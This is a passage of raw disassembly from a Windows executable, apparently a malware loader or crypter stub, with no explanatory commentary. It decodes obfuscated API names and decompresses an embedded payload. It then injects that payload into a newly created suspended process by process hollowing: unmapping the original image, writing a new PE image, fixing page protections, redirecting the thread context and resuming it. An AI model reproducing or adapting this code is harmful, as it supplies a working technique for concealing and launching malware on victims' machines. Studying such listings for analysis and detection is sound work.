jmp short loc_4066C5 ; --------------------------------------------------------------------------- loc_4066B8: ; CODE XREF: sub_4064C4+1E3j lea eax, [ebp+var_4] mov edx, offset dword_4067FC call sub_402660 loc_4066C5: ; CODE XREF: sub_4064C4+1F2j lea eax, [ebp+var_3C] push eax mov ecx, offset dword_4067A4 mov edx, 23h mov eax, ebx call sub_40513C mov eax, [ebp+var_3C] xor edx, edx call sub_4043F0 test eax, eax jnz short loc_406727 lea eax, [ebp+var_40] push eax mov ecx, offset dword_4067A4 mov edx, 1005h mov eax, ebx call sub_40513C mov eax, [ebp+var_40] xor edx, edx call sub_4043F0 test eax, eax jnz short loc_40671A lea eax, [ebp+var_C] mov edx, offset dword_406808 call sub_402660 jmp short loc_406727 ; --------------------------------------------------------------------------- loc_40671A: ; CODE XREF: sub_4064C4+245j lea eax, [ebp+var_8] mov edx, offset dword_406818 call sub_402660 loc_406727: ; CODE XREF: sub_4064C4+222j ; sub_4064C4+254j push [ebp+var_8] push [ebp+var_4] push offset dword_406828 push [ebp+var_C] mov eax, offset dword_40A6D0 mov edx, 4 call sub_402900 push [ebp+var_8] push [ebp+var_4] push offset dword_406834 push [ebp+var_C] mov eax, offset dword_40A6D4 mov edx, 4 call sub_402900 mov cl, 2Ch mov edx, 0Ch mov eax, ebx call sub_405188 mov byte ptr ds:dword_40A77C+2, al xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406796 loc_406781: ; CODE XREF: sub_4064C4+2D0j lea eax, [ebp+var_40] mov edx, 10h call sub_4025EC retn ; --------------------------------------------------------------------------- loc_40678F: ; DATA XREF: sub_4064C4+13o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406781 ; --------------------------------------------------------------------------- loc_406796: ; CODE XREF: sub_4064C4+2CAj ; DATA XREF: sub_4064C4+2B8o pop ebx mov esp, ebp pop ebp retn sub_4064C4 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_4067A4 dd 30h, 0FFFFFFFFh, 6 ; DATA XREF: sub_4064C4+60o ; sub_4064C4+84o ... dword_4067B0 dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_4064C4+105o dword_4067C0 dd 6D6D6D6Dh, 202C6420h, 79797979h, 0 ; DATA XREF: sub_4064C4+132o dd 0FFFFFFFFh, 2 dword_4067D8 dd 6D61h, 0FFFFFFFFh, 2 ; DATA XREF: sub_4064C4+172o dword_4067E4 dd 6D70h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4064C4+194o dword_4067F0 dd 68h, 0FFFFFFFFh, 2 ; DATA XREF: sub_4064C4+1E8o dword_4067FC dd 6868h, 0FFFFFFFFh, 5 ; DATA XREF: sub_4064C4+1F7o dword_406808 dd 504D4120h, 4Dh, 0FFFFFFFFh, 5 ; DATA XREF: sub_4064C4+24Ao dword_406818 dd 4D504D41h, 20h, 0FFFFFFFFh, 3 ; DATA XREF: sub_4064C4+259o dword_406828 dd 6D6D3Ah, 0FFFFFFFFh, 6 ; DATA XREF: sub_4064C4+269o dword_406834 dd 3A6D6D3Ah, 7373h ; DATA XREF: sub_4064C4+286o ; =============== S U B R O U T I N E ======================================= sub_40683C proc near ; CODE XREF: sub_406B98+27p push ebx mov ebx, offset dword_409294 jmp short loc_406854 ; --------------------------------------------------------------------------- loc_406844: ; CODE XREF: sub_40683C+1Bj mov eax, [ebx] mov edx, [eax] mov [ebx], edx mov edx, 8 call sub_401218 loc_406854: ; CODE XREF: sub_40683C+6j cmp dword ptr [ebx], 0 jnz short loc_406844 pop ebx retn sub_40683C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40685C proc near ; CODE XREF: sub_406D18+50p push ebx push offset aKernel32_dll ; "kernel32.dll" call GetModuleHandleA_0 mov ebx, eax test ebx, ebx jz short loc_40687D push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push ebx ; hModule call GetProcAddress_0 mov ds:dword_4090EC, eax loc_40687D: ; CODE XREF: sub_40685C+Fj cmp ds:dword_4090EC, 0 jnz short loc_406890 mov eax, offset sub_404520 mov ds:dword_4090EC, eax loc_406890: ; CODE XREF: sub_40685C+28j pop ebx retn sub_40685C endp ; --------------------------------------------------------------------------- align 4 ; char aKernel32_dll[] aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40685C+1o align 4 ; char aGetdiskfreespa[] aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40685C+11o ; =============== S U B R O U T I N E ======================================= sub_4068B8 proc near ; CODE XREF: sub_406B98+22p mov edx, [eax] xor ecx, ecx mov [eax], ecx mov eax, edx call sub_401F50 retn sub_4068B8 endp ; --------------------------------------------------------------------------- align 4 dword_4068C8 dd 1Dh ; DATA XREF: sub_406D18+1Ao dd offset dword_40928C dd offset off_4093A4 dd offset dword_409284 dd offset off_409360 dd offset dword_40927C dd offset off_4092D8 dd offset dword_409274 dd offset off_4093B4 dd offset dword_40926C dd offset off_4093C8 dd offset dword_409264 dd offset off_409328 dd offset dword_40925C dd offset off_409358 dd offset dword_409254 dd offset off_4092BC dd offset dword_40924C dd offset off_409368 dd offset dword_409244 dd offset off_409374 dd offset dword_40923C dd offset off_409340 dd offset dword_409234 dd offset off_409344 dd offset dword_40922C dd offset off_4093EC dd offset dword_409224 dd offset off_4093E4 dd offset dword_40921C dd offset off_409408 dd offset dword_409214 dd offset off_409398 dd offset dword_40920C dd offset off_409388 dd offset dword_409204 dd offset off_40940C dd offset dword_4091FC dd offset off_4093FC dd offset dword_4091F4 dd offset off_409350 dd offset dword_4091EC dd offset off_4093F0 dd offset dword_4091E4 dd offset off_4093F4 dd offset dword_4091DC dd offset off_409310 dd offset dword_4091D4 dd offset off_4092EC dd offset dword_4091CC dd offset off_409384 dd offset dword_4091C4 dd offset off_4093B0 dd offset dword_4091BC dd offset off_4092C0 dd offset dword_4091B4 dd offset off_4093E8 dd offset dword_4091AC dd offset off_40934C dword_4069B4 dd 28h ; DATA XREF: sub_406D18+24o dd offset off_4091A4 dd offset off_4093DC dd 0 dd offset off_4091A0 dd offset off_4092DC align 10h dd offset off_40919C dd offset off_4093AC dd 0 dd offset off_409198 dd offset off_4092CC align 8 dd offset off_409194 dd offset off_4092F8 dd 0 dd offset off_409190 dd offset off_4092F0 align 10h dd offset off_40918C dd offset off_4092E4 dd 0 dd offset off_409188 dd offset off_409348 align 8 dd offset off_409184 dd offset off_409394 dd 0 dd offset off_409180 dd offset off_4092F4 align 10h dd offset off_40917C dd offset off_409380 dd 0 dd offset off_409178 dd offset off_4093C4 align 8 dd offset off_409174 dd offset off_4093BC dd 0 dd offset off_409170 dd offset off_40939C align 10h dd offset off_40916C dd offset off_40933C dd 0 dd offset off_409168 dd offset off_409324 align 8 dd offset off_409164 dd offset off_4092C8 dd 0 dd offset off_409160 dd offset off_4093B8 align 10h dd offset off_40915C dd offset off_409370 dd 0 dd offset off_409158 dd offset off_40931C align 8 dd offset off_409154 dd offset off_409364 dd 0 dd offset off_409150 dd offset off_40938C align 10h dd offset off_40914C dd offset off_40936C dd 0 dd offset off_409148 dd offset off_409330 align 8 dd offset off_409144 dd offset off_4092C4 dd 0 dd offset off_409140 dd offset off_40935C align 10h dd offset off_40913C dd offset off_4093F8 dd 0 dd offset off_409138 dd offset off_4093D8 align 8 dd offset off_409134 dd offset off_40937C dd 0 dd offset off_409130 dd offset off_40930C align 10h dd offset off_40912C dd offset off_4092D0 dd 0 dd offset off_409128 dd offset off_4093D0 align 8 dd offset off_409124 dd offset off_409414 dd 0 dd offset off_409120 dd offset off_4092E8 align 10h dd offset off_40911C dd offset off_4092B8 dd 0 dd offset off_409118 dd offset off_4093E0 align 8 dd offset off_409114 dd offset off_409378 dd 0 dd offset off_409110 dd offset off_409400 align 10h dd offset off_4090FC dd offset off_409354 dd 0 dd offset off_4090F8 dd offset off_409314 align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B98 proc near ; DATA XREF: CODE:00407B5Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_406D0D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A7C0 jnz loc_406CFF mov eax, offset dword_40A7CC call sub_4068B8 call sub_40683C call sub_406028 mov eax, offset off_4091E0 mov ecx, 16h mov edx, off_405B00 call sub_402C70 mov eax, offset dword_4091A8 mov ecx, 7 mov edx, off_405A80 call sub_402C70 mov eax, offset off_4090F0 mov ecx, 2 mov edx, off_401000 call sub_402C70 mov eax, offset off_4090E8 call sub_4025C8 mov eax, offset dword_40A7BC mov edx, off_40439C call sub_402E80 mov eax, offset dword_40A7B8 mov edx, off_404378 call sub_402E80 mov eax, offset dword_40A780 mov ecx, 7 mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A754 mov ecx, 7 mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A738 mov ecx, 7 mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A708 mov ecx, 0Ch mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A6D8 mov ecx, 0Ch mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A6D4 call sub_4025C8 mov eax, offset dword_40A6D0 call sub_4025C8 mov eax, offset dword_40A6CC call sub_4025C8 mov eax, offset dword_40A6C8 call sub_4025C8 mov eax, offset dword_40A6C0 call sub_4025C8 mov eax, offset dword_40A6BC call sub_4025C8 mov eax, offset dword_40A6B0 call sub_4025C8 mov eax, offset dword_4090C4 call sub_4025C8 mov eax, offset dword_4090B0 call sub_402C24 mov eax, offset dword_4090AC call sub_4025C8 loc_406CFF: ; CODE XREF: sub_406B98+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406D14 loc_406D0C: ; CODE XREF: sub_406B98+17Aj retn ; --------------------------------------------------------------------------- loc_406D0D: ; DATA XREF: sub_406B98+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406D0C ; --------------------------------------------------------------------------- loc_406D14: ; CODE XREF: sub_406B98:loc_406D0Cj ; DATA XREF: sub_406B98+16Fo pop ebp retn sub_406B98 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D18 proc near ; DATA XREF: CODE:00407B58o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_406D80 push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_40A7C0, 1 jnb short loc_406D72 mov eax, offset dword_4068C8 call sub_402464 mov eax, offset dword_4069B4 call sub_40248C cmp ds:byte_40A689, 0 jz short loc_406D5E mov eax, offset off_4090E8 mov edx, offset dword_406D94 call sub_40261C loc_406D5E: ; CODE XREF: sub_406D18+35j call sub_405FA4 call sub_406094 call sub_40685C call sub_4064C4 loc_406D72: ; CODE XREF: sub_406D18+18j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406D87 loc_406D7F: ; CODE XREF: sub_406D18+6Dj retn ; --------------------------------------------------------------------------- loc_406D80: ; DATA XREF: sub_406D18+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406D7F ; --------------------------------------------------------------------------- loc_406D87: ; CODE XREF: sub_406D18:loc_406D7Fj ; DATA XREF: sub_406D18+62o pop ebp retn sub_406D18 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_406D94 dd 7830h ; DATA XREF: sub_406D18+3Co ; [00000006 BYTES: COLLAPSED FUNCTION RtlDecompressBuffer. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_406DA0 proc near ; CODE XREF: sub_406DAC+25p ; sub_406E6C+31p ... test eax, eax jz short locret_406DA9 sub eax, 4 mov eax, [eax] locret_406DA9: ; CODE XREF: sub_406DA0+2j retn sub_406DA0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406DAC proc near ; CODE XREF: CODE:00407D0Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] call sub_402A28 xor eax, eax push ebp push offset loc_406E59 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_4] call sub_406DA0 mov ebx, eax cmp ebx, 4 jbe short loc_406E3C lea eax, [ebp+arg_4] call sub_402A8C mov edi, eax mov edx, [edi] mov eax, esi call sub_402BC0 cmp dword ptr [edi], 80000h jbe short loc_406E01 mov [ebp+var_8], 2 jmp short loc_406E08 ; --------------------------------------------------------------------------- loc_406E01: ; CODE XREF: sub_406DAC+4Aj mov [ebp+var_8], 102h loc_406E08: ; CODE XREF: sub_406DAC+53j lea eax, [ebp+var_4] push eax sub ebx, 4 push ebx lea eax, [ebp+arg_4] call sub_402A8C add eax, 4 push eax mov eax, [edi] push eax mov eax, esi call sub_402A8C push eax mov eax, [ebp+var_8] push eax call RtlDecompressBuffer mov eax, esi mov edx, [ebp+var_4] call sub_402BC0 jmp short loc_406E43 ; --------------------------------------------------------------------------- loc_406E3C: ; CODE XREF: sub_406DAC+2Fj mov eax, esi call sub_4025C8 loc_406E43: ; CODE XREF: sub_406DAC+8Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406E60 loc_406E50: ; CODE XREF: sub_406DAC+B2j lea eax, [ebp+arg_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_406E59: ; DATA XREF: sub_406DAC+17o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406E50 ; --------------------------------------------------------------------------- loc_406E60: ; CODE XREF: sub_406DAC+ACj ; DATA XREF: sub_406DAC+9Fo pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 8 sub_406DAC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E6C proc near ; CODE XREF: CODE:00407D17p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi xor eax, eax mov [ebp+var_C], eax mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] call sub_402A28 xor eax, eax push ebp push offset loc_406F2F push dword ptr fs:[eax] mov fs:[eax], esp mov eax, esi call sub_4025C8 mov eax, [ebp+arg_4] call sub_406DA0 mov [ebp+var_8], eax mov ebx, 1 cmp ebx, [ebp+var_8] ja short loc_406F11 loc_406EAF: ; CODE XREF: sub_406E6C+A3j mov eax, [ebp+arg_4] mov al, [eax+ebx-1] test al, al jnz short loc_406EF2 mov eax, [ebp+arg_4] mov al, [eax+ebx] mov [ebp+var_1], al mov eax, [esi] call sub_406DA0 mov edi, eax xor edx, edx mov dl, [ebp+var_1] add edx, edi mov eax, esi call sub_402BC0 mov eax, esi call sub_402A8C add eax, edi xor edx, edx mov dl, [ebp+var_1] xor ecx, ecx call sub_401964 inc ebx jmp short loc_406F0B ; --------------------------------------------------------------------------- loc_406EF2: ; CODE XREF: sub_406E6C+4Cj lea eax, [ebp+var_C] mov edx, [ebp+arg_4] mov dl, [edx+ebx-1] call sub_40278C mov edx, [ebp+var_C] mov eax, esi call sub_402848 loc_406F0B: ; CODE XREF: sub_406E6C+84j inc ebx cmp ebx, [ebp+var_8] jbe short loc_406EAF loc_406F11: ; CODE XREF: sub_406E6C+41j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406F36 loc_406F1E: ; CODE XREF: sub_406E6C+C8j lea eax, [ebp+var_C] call sub_4025C8 lea eax, [ebp+arg_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_406F2F: ; DATA XREF: sub_406E6C+1Co jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406F1E ; --------------------------------------------------------------------------- loc_406F36: ; CODE XREF: sub_406E6C+C2j ; DATA XREF: sub_406E6C+ADo pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_406E6C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406F40 proc near ; DATA XREF: CODE:00407B64o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_406F65 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A7D0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406F6C loc_406F64: ; CODE XREF: sub_406F40+2Aj retn ; --------------------------------------------------------------------------- loc_406F65: ; DATA XREF: sub_406F40+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406F64 ; --------------------------------------------------------------------------- loc_406F6C: ; CODE XREF: sub_406F40:loc_406F64j ; DATA XREF: sub_406F40+1Fo pop ebp retn sub_406F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_406F70 proc near ; DATA XREF: CODE:00407B60o sub ds:dword_40A7D0, 1 retn sub_406F70 endp ; [00000006 BYTES: COLLAPSED FUNCTION VirtualProtectEx. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION ZwUnmapViewOfSection. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_406F88 proc near ; CODE XREF: CODE:loc_407F33p push ebx xor ebx, ebx mov eax, offset aAddFileLocatio ; "add file location" call sub_404488 test al, al jz short loc_406F9B mov bl, 1 loc_406F9B: ; CODE XREF: sub_406F88+Fj mov eax, ebx pop ebx retn sub_406F88 endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 11h aAddFileLocatio db 'add file location',0 ; DATA XREF: sub_406F88+3o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406FBC proc near ; CODE XREF: CODE:00407F46p pcbBuffer = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx xor edx, edx mov [ebp+var_4], edx mov ebx, eax xor eax, eax push ebp push offset loc_407029 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+pcbBuffer], 0FDh lea eax, [ebp+var_4] mov edx, 0FEh call sub_402BC0 lea eax, [ebp+pcbBuffer] push eax ; pcbBuffer mov eax, [ebp+var_4] call sub_402A38 push eax ; lpBuffer call GetUserNameA lea eax, [ebp+var_4] mov edx, [ebp+pcbBuffer] call sub_402BC0 mov eax, ebx mov edx, [ebp+var_4] call sub_40261C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407030 loc_407020: ; CODE XREF: sub_406FBC+72j lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_407029: ; DATA XREF: sub_406FBC+11o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407020 ; --------------------------------------------------------------------------- loc_407030: ; CODE XREF: sub_406FBC+6Cj ; DATA XREF: sub_406FBC+5Fo pop ebx pop ecx pop ecx pop ebp retn sub_406FBC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407038 proc near ; CODE XREF: sub_4070E0+83p ; sub_4070E0+AAp ... var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi xor ecx, ecx mov [ebp+var_C], ecx mov esi, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_402A28 xor eax, eax push ebp push offset loc_4070B8 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_402840 mov ebx, eax test ebx, ebx jle short loc_40709A mov edi, 1 loc_407074: ; CODE XREF: sub_407038+60j mov eax, [ebp+var_4] mov al, [eax+edi-1] mov [ebp+var_5], al lea eax, [ebp+var_C] mov dl, [ebp+var_5] sub dl, 31h call sub_40278C mov edx, [ebp+var_C] mov eax, esi call sub_402848 inc edi dec ebx jnz short loc_407074 loc_40709A: ; CODE XREF: sub_407038+35j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4070BF loc_4070A7: ; CODE XREF: sub_407038+85j lea eax, [ebp+var_C] call sub_4025C8 lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_4070B8: ; DATA XREF: sub_407038+1Eo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4070A7 ; --------------------------------------------------------------------------- loc_4070BF: ; CODE XREF: sub_407038+7Fj ; DATA XREF: sub_407038+6Ao pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407038 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4070C8 proc near ; CODE XREF: sub_4070E0+2FBp lea edx, [eax+18h] movzx eax, word ptr [eax+14h] add edx, eax mov eax, edx retn sub_4070C8 endp ; =============== S U B R O U T I N E ======================================= sub_4070D4 proc near ; CODE XREF: sub_4070E0+343p shr eax, 1Dh mov eax, ds:dword_409298[eax*4] retn sub_4070D4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4070E0 proc near ; CODE XREF: CODE:00407F7Ep var_188 = dword ptr -188h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = dword ptr -178h var_174 = dword ptr -174h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_C0 = dword ptr -0C0h var_B4 = dword ptr -0B4h var_98 = dword ptr -98h var_68 = word ptr -68h hProcess = dword ptr -54h var_50 = dword ptr -50h var_44 = dword ptr -44h hModule = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_21 = byte ptr -21h var_20 = dword ptr -20h flOldProtect = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp add esp, 0FFFFFE78h push ebx push esi push edi xor ebx, ebx mov [ebp+var_188], ebx mov [ebp+var_184], ebx mov [ebp+var_180], ebx mov [ebp+var_17C], ebx mov [ebp+var_178], ebx mov [ebp+var_174], ebx mov [ebp+var_170], ebx mov [ebp+var_16C], ebx mov [ebp+var_168], ebx mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_8] call sub_402A28 mov eax, [ebp+var_C] call sub_402A28 xor eax, eax push ebp push offset loc_4074EE push dword ptr fs:[eax] mov fs:[eax], esp push offset LibFileName ; "kernel32.dll" call LoadLibraryA mov [ebp+hModule], eax lea edx, [ebp+var_168] mov eax, offset dword_407518 call sub_407038 mov eax, [ebp+var_168] call sub_402A38 push eax ; lpProcName mov eax, [ebp+hModule] push eax ; hModule call GetProcAddress_0 mov ebx, eax lea edx, [ebp+var_16C] mov eax, offset dword_407530 call sub_407038 mov eax, [ebp+var_16C] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov [ebp+var_3C], eax lea edx, [ebp+var_170] mov eax, offset dword_407544 call sub_407038 mov eax, [ebp+var_170] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov esi, eax lea edx, [ebp+var_174] mov eax, offset aXceesgctxtaqec ; "x–¥…™£–’•t Ÿ¥–©¥" call sub_407038 mov eax, [ebp+var_174] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov edi, eax lea edx, [ebp+var_178] mov eax, offset aGctxbgafcddCua ; "ƒ–’•£ ”–¤¤~–ž £ª" call sub_407038 mov eax, [ebp+var_178] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov [ebp+var_28], eax lea edx, [ebp+var_17C] mov eax, offset dword_407594 call sub_407038 mov eax, [ebp+var_17C] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov [ebp+var_2C], eax lea edx, [ebp+var_180] mov eax, offset aIgEcbgafcddCua ; "ˆ£š¥–£ ”–¤¤~–ž £ª" call sub_407038 mov eax, [ebp+var_180] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov [ebp+var_30], eax lea edx, [ebp+var_184] mov eax, offset aDceesgctxtaqec ; "„–¥…™£–’•t Ÿ¥–©¥" call sub_407038 mov eax, [ebp+var_184] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov [ebp+var_34], eax lea edx, [ebp+var_188] mov eax, offset dword_4075E4 call sub_407038 mov eax, [ebp+var_188] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov [ebp+var_38], eax xor ebx, ebx lea eax, [ebp+hProcess] xor ecx, ecx mov edx, 10h call sub_401964 lea eax, [ebp+var_98] xor ecx, ecx mov edx, 44h call sub_401964 mov [ebp+var_98], 44h xor eax, eax mov al, [ebp+arg_0] mov [ebp+var_68], ax lea eax, [ebp+hProcess] push eax lea eax, [ebp+var_98] push eax push 0 push 0 push 4 push 0 push 0 push 0 mov eax, [ebp+var_C] call sub_402A38 push eax mov eax, [ebp+var_8] call sub_402A38 push eax call esi test eax, eax jz loc_4074C3 mov [ebp+var_21], 1 xor eax, eax push ebp push offset loc_4074B5 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_164], 10002h lea eax, [ebp+var_164] push eax mov eax, [ebp+var_50] push eax call edi test eax, eax jz loc_40748A lea eax, [ebp+var_14] push eax push 4 lea eax, [ebp+var_10] push eax mov eax, [ebp+var_C0] add eax, 8 push eax mov eax, [ebp+hProcess] push eax call [ebp+var_28] test eax, eax jz loc_40748A mov eax, [ebp+var_10] push eax mov eax, [ebp+hProcess] push eax call ZwUnmapViewOfSection test eax, eax jl loc_40748A cmp [ebp+var_4], 0 jz loc_40748A mov eax, [ebp+var_4] mov eax, [eax+3Ch] add eax, [ebp+var_4] mov [ebp+var_20], eax push 4 push 3000h mov eax, [ebp+var_20] mov eax, [eax+50h] push eax mov eax, [ebp+var_20] mov eax, [eax+34h] push eax mov eax, [ebp+hProcess] push eax call [ebp+var_2C] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40748A lea eax, [ebp+var_18] push eax mov eax, [ebp+var_20] mov eax, [eax+54h] push eax mov eax, [ebp+var_4] push eax mov eax, [ebp+var_10] push eax mov eax, [ebp+hProcess] push eax call [ebp+var_30] test eax, eax jz loc_40748A mov eax, [ebp+var_20] call sub_4070C8 mov esi, eax mov eax, [ebp+var_20] movzx eax, word ptr [eax+6] dec eax test eax, eax jb short loc_407445 inc eax mov [ebp+var_44], eax xor ebx, ebx loc_4073F4: ; CODE XREF: sub_4070E0+363j lea eax, [ebp+var_18] push eax lea edi, [ebx+ebx*4] mov eax, [esi+edi*8+10h] push eax mov eax, [esi+edi*8+14h] add eax, [ebp+var_4] push eax mov eax, [esi+edi*8+0Ch] add eax, [ebp+var_10] push eax mov eax, [ebp+hProcess] push eax call [ebp+var_30] test eax, eax jz short loc_40743F lea eax, [ebp+flOldProtect] push eax ; lpflOldProtect mov eax, [esi+edi*8+24h] call sub_4070D4 push eax ; flNewProtect mov eax, [esi+edi*8+8] push eax ; dwSize mov eax, [esi+edi*8+0Ch] add eax, [ebp+var_10] push eax ; lpAddress mov eax, [ebp+hProcess] push eax ; hProcess call VirtualProtectEx loc_40743F: ; CODE XREF: sub_4070E0+339j inc ebx dec [ebp+var_44] jnz short loc_4073F4 loc_407445: ; CODE XREF: sub_4070E0+30Cj lea eax, [ebp+var_18] push eax push 4 lea eax, [ebp+var_10] push eax mov eax, [ebp+var_C0] add eax, 8 push eax mov eax, [ebp+hProcess] push eax call [ebp+var_30] test eax, eax jz short loc_40748A mov eax, [ebp+var_20] mov eax, [eax+28h] add eax, [ebp+var_10] mov [ebp+var_B4], eax lea eax, [ebp+var_164] push eax mov eax, [ebp+var_50] push eax call [ebp+var_34] cmp eax, 1 sbb eax, eax inc eax mov [ebp+var_21], al loc_40748A: ; CODE XREF: sub_4070E0+259j ; sub_4070E0+27Cj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4074BC loc_407497: ; CODE XREF: sub_4070E0+3DAj cmp [ebp+var_21], 0 jnz short loc_4074AA push 0 ; uExitCode mov eax, [ebp+hProcess] push eax ; hProcess call TerminateProcess jmp short loc_4074B1 ; --------------------------------------------------------------------------- loc_4074AA: ; CODE XREF: sub_4070E0+3BBj mov eax, [ebp+var_50] push eax call [ebp+var_38] loc_4074B1: ; CODE XREF: sub_4070E0+3C8j mov bl, [ebp+var_21] retn ; --------------------------------------------------------------------------- loc_4074B5: ; DATA XREF: sub_4070E0+235o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407497 ; --------------------------------------------------------------------------- loc_4074BC: ; DATA XREF: sub_4070E0+3B2o mov eax, [ebp+hModule] push eax call [ebp+var_3C] loc_4074C3: ; CODE XREF: sub_4070E0+228j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4074F5 loc_4074D0: ; CODE XREF: sub_4070E0+413j lea eax, [ebp+var_188] mov edx, 9 call sub_4025EC lea eax, [ebp+var_C] mov edx, 2 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_4074EE: ; DATA XREF: sub_4070E0+60o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4074D0 ; --------------------------------------------------------------------------- loc_4074F5: ; CODE XREF: sub_4070E0+40Dj ; DATA XREF: sub_4070E0+3EBo mov eax, ebx pop edi pop esi pop ebx mov esp, 